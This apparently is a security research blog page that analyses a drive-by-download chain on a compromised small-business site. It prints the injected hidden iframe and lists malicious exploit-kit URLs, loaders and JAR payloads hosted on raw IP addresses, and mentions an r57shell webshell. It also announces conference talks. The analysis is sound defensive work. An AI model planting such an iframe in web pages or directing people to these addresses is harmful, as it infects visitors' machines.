5. http://growsmartbusiness.com/widgets/widget.php,
...omitted...
<iframe frameborder=0 src="http://96.30.16.216:8037/exemple.com/" width=1 height=1 scrolling=no></iframe>

6. http://96.30.16.216:8037/exemple.com/, malicious code
7. http://96.30.16.216:8037/exemple.com/error.js.php, malicious code
8. http://208.86.153.68:8067/exemple.com/load.php?spl=mdac, malicious code
9. http://96.30.16.216:8037/exemple.com/?spl=2&br=MSIE&vers=6.0&s=, malicious code
10. http://96.30.16.216:8037/exemple.com/error.js.php, malicious code
11. http://96.30.16.216:8037/exemple.com/992.jar
12. http://96.30.16.216:8037/exemple.com/cbe.jar

Conclusion: what a quick way to make your blog, website, facebook, linkedin, all serving malware.

Googling a bit, we verified that the domain growsmallbusiness.com was definitely compromised and injected with a r57shell (webshell), which allowed the attacker easy manipulation of the site. Check this link.



In part 2, we'll detail the actual malware behavior.

Note: We received some questions so we'll answer here. If you are trying to analyze this malware, note that it's quite mean and implements the following behavior:
1. Serves to each IP only once
2. Blocks well-known drive-by download analysis services such as Wepawet and jsunpack. These won't be able to help you in this case--see Wepawet results and jsunpack results.
Read more (rest of article)...

Our black hat, DEF CON 2010 slides are online

A big thanks to everyone who came to our talk, and to the black hat and DEF CON staff! We've had a lot of fun this year, the conferences rocked! Love it.

Our talks at black hat and DEF CON 2010 are here:

Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection (blackhat and DEF CON)


NoSQL, no SQL injections? (DEF CON)


0box Analyzer--Afterdark Runtime Forensics for Automated Malware Analysis and Clustering (DEF CON)

Read more (rest of article)...

Scaling Web 2.0 Malware Infection - TRISC 2010

We presented at Texas Regional Information Security Conference (TRISC) Grapevine, Texas. The conference in itself was highly structured. We discussed about malware infections in web 2.0 environment discussing about various facets of malware infections and the way client machines are actually get compromised. The presentation is rooted below.


Read more (rest of article)...